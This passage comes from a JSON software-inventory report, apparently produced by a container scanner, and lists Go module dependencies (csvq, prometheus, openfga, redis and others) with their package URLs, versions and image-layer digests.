"pkg:golang/github.com/mithrandie/csvq@v1.18.1", "UID": "402675ce2e16d241" }, "Version": "v1.18.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/csvq-driver@v1.7.0", "Name": "github.com/mithrandie/csvq-driver", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/csvq-driver@v1.7.0", "UID": "4def18d2b2771be6" }, "Version": "v1.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/go-file/v2@v2.1.0", "Name": "github.com/mithrandie/go-file/v2", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/go-file/v2@v2.1.0", "UID": "2ce86f5e7a42a264" }, "Version": "v2.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/go-text@v1.6.0", "Name": "github.com/mithrandie/go-text", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/go-text@v1.6.0", "UID": "e51694d71df2f48e" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/ternary@v1.1.1", "Name": "github.com/mithrandie/ternary", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/ternary@v1.1.1", "UID": "b67c5e9c9d1a7d57" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/moby/docker-image-spec@v1.3.1", "Name": "github.com/moby/docker-image-spec", "Identifier": { "PURL": "pkg:golang/github.com/moby/docker-image-spec@v1.3.1", "UID": "a1756a20d65ca2b6" }, "Version": "v1.3.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/moby/moby/api@v1.54.1", "Name": "github.com/moby/moby/api", "Identifier": { "PURL": "pkg:golang/github.com/moby/moby/api@v1.54.1", "UID": "67807a84a65c918f" }, "Version": "v1.54.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/moby/moby/client@v0.4.0", "Name": "github.com/moby/moby/client", "Identifier": { "PURL": "pkg:golang/github.com/moby/moby/client@v0.4.0", "UID": "b1fc07d776f7b469" }, "Version": "v0.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/modern-go/concurrent@v0.0.0-20180306012644-bacd9c7ef1dd", "Name": "github.com/modern-go/concurrent", "Identifier": { "PURL": "pkg:golang/github.com/modern-go/concurrent@v0.0.0-20180306012644-bacd9c7ef1dd", "UID": "edf01038ca71c4c0" }, "Version": "v0.0.0-20180306012644-bacd9c7ef1dd", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/modern-go/reflect2@v1.0.3-0.20250322232337-35a7c28c31ee", "Name": "github.com/modern-go/reflect2", "Identifier": { "PURL": "pkg:golang/github.com/modern-go/reflect2@v1.0.3-0.20250322232337-35a7c28c31ee", "UID": "aac87ef578d9c2e8" }, "Version": "v1.0.3-0.20250322232337-35a7c28c31ee", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mohae/deepcopy@v0.0.0-20170929034955-c48cc78d4826", "Name": "github.com/mohae/deepcopy", "Identifier": { "PURL": "pkg:golang/github.com/mohae/deepcopy@v0.0.0-20170929034955-c48cc78d4826", "UID": "89da886b45fe640f" }, "Version": "v0.0.0-20170929034955-c48cc78d4826", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mpvl/unique@v0.0.0-20150818121801-cbe035fff7de", "Name": "github.com/mpvl/unique", "Identifier": { "PURL": "pkg:golang/github.com/mpvl/unique@v0.0.0-20150818121801-cbe035fff7de", "UID": "cc1bd88bb0a4433c" }, "Version": "v0.0.0-20150818121801-cbe035fff7de", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/munnerz/goautoneg@v0.0.0-20191010083416-a7dc8b61c822", "Name": "github.com/munnerz/goautoneg", "Identifier": { "PURL": "pkg:golang/github.com/munnerz/goautoneg@v0.0.0-20191010083416-a7dc8b61c822", "UID": "ad11f4f1b569f62" }, "Version": "v0.0.0-20191010083416-a7dc8b61c822", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mwitkow/go-conntrack@v0.0.0-20190716064945-2f068394615f", "Name": "github.com/mwitkow/go-conntrack", "Identifier": { "PURL": "pkg:golang/github.com/mwitkow/go-conntrack@v0.0.0-20190716064945-2f068394615f", "UID": "6d155b5f1522a32f" }, "Version": "v0.0.0-20190716064945-2f068394615f", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/natefinch/wrap@v0.2.0", "Name": "github.com/natefinch/wrap", "Identifier": { "PURL": "pkg:golang/github.com/natefinch/wrap@v0.2.0", "UID": "7ab4ab77a2a0573" }, "Version": "v0.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/nikunjy/rules@v1.5.0", "Name": "github.com/nikunjy/rules", "Identifier": { "PURL": "pkg:golang/github.com/nikunjy/rules@v1.5.0", "UID": "3bd8d5085a556524" }, "Version": "v1.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oapi-codegen/runtime@v1.0.0", "Name": "github.com/oapi-codegen/runtime", "Identifier": { "PURL": "pkg:golang/github.com/oapi-codegen/runtime@v1.0.0", "UID": "44288013bf48e5b6" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oasdiff/yaml@v0.0.0-20250309154309-f31be36b4037", "Name": "github.com/oasdiff/yaml", "Identifier": { "PURL": "pkg:golang/github.com/oasdiff/yaml@v0.0.0-20250309154309-f31be36b4037", "UID": "5cf55a54c37c0200" }, "Version": "v0.0.0-20250309154309-f31be36b4037", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oasdiff/yaml3@v0.0.0-20250309153720-d2182401db90", "Name": "github.com/oasdiff/yaml3", "Identifier": { "PURL": "pkg:golang/github.com/oasdiff/yaml3@v0.0.0-20250309153720-d2182401db90", "UID": "f6223a4363f61c5a" }, "Version": "v0.0.0-20250309153720-d2182401db90", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oklog/run@v1.2.0", "Name": "github.com/oklog/run", "Identifier": { "PURL": "pkg:golang/github.com/oklog/run@v1.2.0", "UID": "3ab412e202db3016" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oklog/ulid@v1.3.1", "Name": "github.com/oklog/ulid", "Identifier": { "PURL": "pkg:golang/github.com/oklog/ulid@v1.3.1", "UID": "35e527210a76442c" }, "Version": "v1.3.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oklog/ulid/v2@v2.1.1", "Name": "github.com/oklog/ulid/v2", "Identifier": { "PURL": "pkg:golang/github.com/oklog/ulid/v2@v2.1.1", "UID": "23037f72b1f34748" }, "Version": "v2.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/cat@v0.0.0-20250911104152-50322a0618f6", "Name": "github.com/olekukonko/cat", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/cat@v0.0.0-20250911104152-50322a0618f6", "UID": "fe03edd9bb70ed4" }, "Version": "v0.0.0-20250911104152-50322a0618f6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/errors@v1.2.0", "Name": "github.com/olekukonko/errors", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/errors@v1.2.0", "UID": "6a461e2ee4b74e0" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/ll@v0.1.6", "Name": "github.com/olekukonko/ll", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/ll@v0.1.6", "UID": "7568f63b5071aaf4" }, "Version": "v0.1.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/tablewriter@v1.1.4", "Name": "github.com/olekukonko/tablewriter", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/tablewriter@v1.1.4", "UID": "2a7b93824abd99f7" }, "Version": "v1.1.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/open-feature/go-sdk@v1.17.1", "Name": "github.com/open-feature/go-sdk", "Identifier": { "PURL": "pkg:golang/github.com/open-feature/go-sdk@v1.17.1", "UID": "4e224189432703a0" }, "Version": "v1.17.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/open-feature/go-sdk-contrib/providers/ofrep@v0.1.7", "Name": "github.com/open-feature/go-sdk-contrib/providers/ofrep", "Identifier": { "PURL": "pkg:golang/github.com/open-feature/go-sdk-contrib/providers/ofrep@v0.1.7", "UID": "3e836d6f777bde37" }, "Version": "v0.1.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/opencontainers/go-digest@v1.0.0", "Name": "github.com/opencontainers/go-digest", "Identifier": { "PURL": "pkg:golang/github.com/opencontainers/go-digest@v1.0.0", "UID": "b88dec16639731e2" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/opencontainers/image-spec@v1.1.1", "Name": "github.com/opencontainers/image-spec", "Identifier": { "PURL": "pkg:golang/github.com/opencontainers/image-spec@v1.1.1", "UID": "46e75c71aae3e568" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/openfga/api/proto@v0.0.0-20260319214821-f153694bfc20", "Name": "github.com/openfga/api/proto", "Identifier": { "PURL": "pkg:golang/github.com/openfga/api/proto@v0.0.0-20260319214821-f153694bfc20", "UID": "422317494f3fbee3" }, "Version": "v0.0.0-20260319214821-f153694bfc20", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/openfga/language/pkg/go@v0.2.1", "Name": "github.com/openfga/language/pkg/go", "Identifier": { "PURL": "pkg:golang/github.com/openfga/language/pkg/go@v0.2.1", "UID": "e1c45b4f1e232c76" }, "Version": "v0.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/openfga/openfga@v1.14.2", "Name": "github.com/openfga/openfga", "Identifier": { "PURL": "pkg:golang/github.com/openfga/openfga@v1.14.2", "UID": "d9f7c327b4e77cd7" }, "Version": "v1.14.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/opentracing-contrib/go-grpc@v0.1.2", "Name": "github.com/opentracing-contrib/go-grpc", "Identifier": { "PURL": "pkg:golang/github.com/opentracing-contrib/go-grpc@v0.1.2", "UID": "7958014b1fee00a" }, "Version": "v0.1.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/opentracing-contrib/go-stdlib@v1.1.0", "Name": "github.com/opentracing-contrib/go-stdlib", "Identifier": { "PURL": "pkg:golang/github.com/opentracing-contrib/go-stdlib@v1.1.0", "UID": "cec596bb7c447f88" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/opentracing/opentracing-go@v1.2.1-0.20220228012449-10b1cf09e00b", "Name": "github.com/opentracing/opentracing-go", "Identifier": { "PURL": "pkg:golang/github.com/opentracing/opentracing-go@v1.2.1-0.20220228012449-10b1cf09e00b", "UID": "6b836ba15bfcd8e6" }, "Version": "v1.2.1-0.20220228012449-10b1cf09e00b", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/openzipkin/zipkin-go@v0.4.3", "Name": "github.com/openzipkin/zipkin-go", "Identifier": { "PURL": "pkg:golang/github.com/openzipkin/zipkin-go@v0.4.3", "UID": "feab6eded6f8db47" }, "Version": "v0.4.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/patrickmn/go-cache@v2.1.0+incompatible", "Name": "github.com/patrickmn/go-cache", "Identifier": { "PURL": "pkg:golang/github.com/patrickmn/go-cache@v2.1.0%2Bincompatible", "UID": "3cce4294ac17ee70" }, "Version": "v2.1.0+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pelletier/go-toml/v2@v2.2.4", "Name": "github.com/pelletier/go-toml/v2", "Identifier": { "PURL": "pkg:golang/github.com/pelletier/go-toml/v2@v2.2.4", "UID": "a160b4183e04799e" }, "Version": "v2.2.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/perimeterx/marshmallow@v1.1.5", "Name": "github.com/perimeterx/marshmallow", "Identifier": { "PURL": "pkg:golang/github.com/perimeterx/marshmallow@v1.1.5", "UID": "7a546bb5914c04e6" }, "Version": "v1.1.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pierrec/lz4/v4@v4.1.25", "Name": "github.com/pierrec/lz4/v4", "Identifier": { "PURL": "pkg:golang/github.com/pierrec/lz4/v4@v4.1.25", "UID": "70967f8086b8db8d" }, "Version": "v4.1.25", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pires/go-proxyproto@v0.8.1", "Name": "github.com/pires/go-proxyproto", "Identifier": { "PURL": "pkg:golang/github.com/pires/go-proxyproto@v0.8.1", "UID": "935e724ea967cf6a" }, "Version": "v0.8.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pkg/browser@v0.0.0-20240102092130-5ac0b6a4141c", "Name": "github.com/pkg/browser", "Identifier": { "PURL": "pkg:golang/github.com/pkg/browser@v0.0.0-20240102092130-5ac0b6a4141c", "UID": "d964ca6a5b0c9a9c" }, "Version": "v0.0.0-20240102092130-5ac0b6a4141c", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pkg/errors@v0.9.1", "Name": "github.com/pkg/errors", "Identifier": { "PURL": "pkg:golang/github.com/pkg/errors@v0.9.1", "UID": "aa7d148551607af8" }, "Version": "v0.9.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/planetscale/vtprotobuf@v0.6.1-0.20250313105119-ba97887b0a25", "Name": "github.com/planetscale/vtprotobuf", "Identifier": { "PURL": "pkg:golang/github.com/planetscale/vtprotobuf@v0.6.1-0.20250313105119-ba97887b0a25", "UID": "eb030b910489b61d" }, "Version": "v0.6.1-0.20250313105119-ba97887b0a25", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pmezard/go-difflib@v1.0.1-0.20181226105442-5d4384ee4fb2", "Name": "github.com/pmezard/go-difflib", "Identifier": { "PURL": "pkg:golang/github.com/pmezard/go-difflib@v1.0.1-0.20181226105442-5d4384ee4fb2", "UID": "ed32a5d9f9c8ab36" }, "Version": "v1.0.1-0.20181226105442-5d4384ee4fb2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pressly/goose/v3@v3.27.0", "Name": "github.com/pressly/goose/v3", "Identifier": { "PURL": "pkg:golang/github.com/pressly/goose/v3@v3.27.0", "UID": "ad4a6d76e571302e" }, "Version": "v3.27.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/client_golang@v1.23.2", "Name": "github.com/prometheus/client_golang", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/client_golang@v1.23.2", "UID": "a574a95833eedb5b" }, "Version": "v1.23.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/client_model@v0.6.2", "Name": "github.com/prometheus/client_model", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/client_model@v0.6.2", "UID": "904381078655dc26" }, "Version": "v0.6.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/common@v0.67.5", "Name": "github.com/prometheus/common", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/common@v0.67.5", "UID": "9e422fe26f1c692b" }, "Version": "v0.67.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/common/sigv4@v0.1.0", "Name": "github.com/prometheus/common/sigv4", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/common/sigv4@v0.1.0", "UID": "5a621493672049ad" }, "Version": "v0.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/exporter-toolkit@v0.15.1", "Name": "github.com/prometheus/exporter-toolkit", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/exporter-toolkit@v0.15.1", "UID": "51710e4955ea493a" }, "Version": "v0.15.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/otlptranslator@v1.0.0", "Name": "github.com/prometheus/otlptranslator", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/otlptranslator@v1.0.0", "UID": "2b87128014187faa" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/procfs@v0.19.2", "Name": "github.com/prometheus/procfs", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/procfs@v0.19.2", "UID": "1f3886da4ddce614" }, "Version": "v0.19.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/prometheus@v0.305.3", "Name": "github.com/prometheus/prometheus", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/prometheus@v0.305.3", "UID": "83655859701a095e" }, "Version": "v0.305.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/sigv4@v0.2.1", "Name": "github.com/prometheus/sigv4", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/sigv4@v0.2.1", "UID": "7dc60475e9a7f385" }, "Version": "v0.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/puzpuzpuz/xsync/v2@v2.5.1", "Name": "github.com/puzpuzpuz/xsync/v2", "Identifier": { "PURL": "pkg:golang/github.com/puzpuzpuz/xsync/v2@v2.5.1", "UID": "a027f296f5de0f0f" }, "Version": "v2.5.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/puzpuzpuz/xsync/v4@v4.4.0", "Name": "github.com/puzpuzpuz/xsync/v4", "Identifier": { "PURL": "pkg:golang/github.com/puzpuzpuz/xsync/v4@v4.4.0", "UID": "8066adbe50cf77f3" }, "Version": "v4.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/quagmt/udecimal@v1.9.0", "Name": "github.com/quagmt/udecimal", "Identifier": { "PURL": "pkg:golang/github.com/quagmt/udecimal@v1.9.0", "UID": "980661eebf8975e0" }, "Version": "v1.9.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/redis/go-redis/v9@v9.14.0", "Name": "github.com/redis/go-redis/v9", "Identifier": { "PURL": "pkg:golang/github.com/redis/go-redis/v9@v9.14.0", "UID": "d132e8235433ef18" }, "Version": "v9.14.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/redis/rueidis@v1.0.72", "Name": "github.com/redis/rueidis", "Identifier": { "PURL": "pkg:golang/github.com/redis/rueidis@v1.0.72", "UID": "8339911dba0bd363" }, "Version": "v1.0.72", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/remyoudompheng/bigfft@v0.0.0-20230129092748-24d4a6f8daec", "Name": "github.com/remyoudompheng/bigfft", "Identifier": { "PURL": "pkg:golang/github.com/remyoudompheng/bigfft@v0.0.0-20230129092748-24d4a6f8daec", "UID": "af4716bdba829acd" }, "Version": "v0.0.0-20230129092748-24d4a6f8daec", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/rs/cors@v1.11.1", "Name": "github.com/rs/cors", "Identifier": { "PURL": "pkg:golang/github.com/rs/cors@v1.11.1", "UID": "983ff55701acaee8" }, "Version": "v1.11.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/russross/blackfriday/v2@v2.1.0", "Name": "github.com/russross/blackfriday/v2", "Identifier": { "PURL": "pkg:golang/github.com/russross/blackfriday/v2@v2.1.0", "UID": "abd5c017591e0e06" }, "Version": "v2.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sagikazarmark/locafero@v0.11.0", "Name": "github.com/sagikazarmark/locafero", "Identifier": { "PURL": "pkg:golang/github.com/sagikazarmark/locafero@v0.11.0", "UID": "8bdd6c3955040816" }, "Version": "v0.11.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sean-/seed@v0.0.0-20170313163322-e2103e2c3529", "Name": "github.com/sean-/seed", "Identifier": { "PURL": "pkg:golang/github.com/sean-/seed@v0.0.0-20170313163322-e2103e2c3529", "UID": "3f670c4e1e8aced7" }, "Version": "v0.0.0-20170313163322-e2103e2c3529", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/segmentio/asm@v1.2.1", "Name": "github.com/segmentio/asm", "Identifier": { "PURL": "pkg:golang/github.com/segmentio/asm@v1.2.1", "UID": "a8b9bbb4210ada54" }, "Version": "v1.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/segmentio/encoding@v0.5.3", "Name": "github.com/segmentio/encoding", "Identifier": { "PURL": "pkg:golang/github.com/segmentio/encoding@v0.5.3", "UID": "765a880639196505" }, "Version": "v0.5.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sercand/kuberesolver/v6@v6.0.1", "Name": "github.com/sercand/kuberesolver/v6", "Identifier": { "PURL": "pkg:golang/github.com/sercand/kuberesolver/v6@v6.0.1", "UID": "669707a667f6f8bd" }, "Version": "v6.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sethvargo/go-retry@v0.3.0", "Name": "github.com/sethvargo/go-retry", "Identifier": { "PURL": "pkg:golang/github.com/sethvargo/go-retry@v0.3.0", "UID": "5fa3c56a100e7919" }, "Version": "v0.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/shadowspore/fossil-delta@v0.0.0-20241213113458-1d797d70cbe3", "Name": "github.com/shadowspore/fossil-delta", "Identifier": { "PURL": "pkg:golang/github.com/shadowspore/fossil-delta@v0.0.0-20241213113458-1d797d70cbe3", "UID": "c1ca561e917e2a43" }, "Version": "v0.0.0-20241213113458-1d797d70cbe3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/shopspring/decimal@v1.4.0", "Name": "github.com/shopspring/decimal", "Identifier": { "PURL": "pkg:golang/github.com/shopspring/decimal@v1.4.0", "UID": "2af29d8abb51cb59" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/shurcooL/httpfs@v0.0.0-20230704072500-f1e31cf0ba5c", "Name": "github.com/shurcooL/httpfs", "Identifier": { "PURL": "pkg:golang/github.com/shurcool/httpfs@v0.0.0-20230704072500-f1e31cf0ba5c", "UID": "df6eecb6d1f024ac" }, "Version": "v0.0.0-20230704072500-f1e31cf0ba5c", "Layer": { "DiffID": 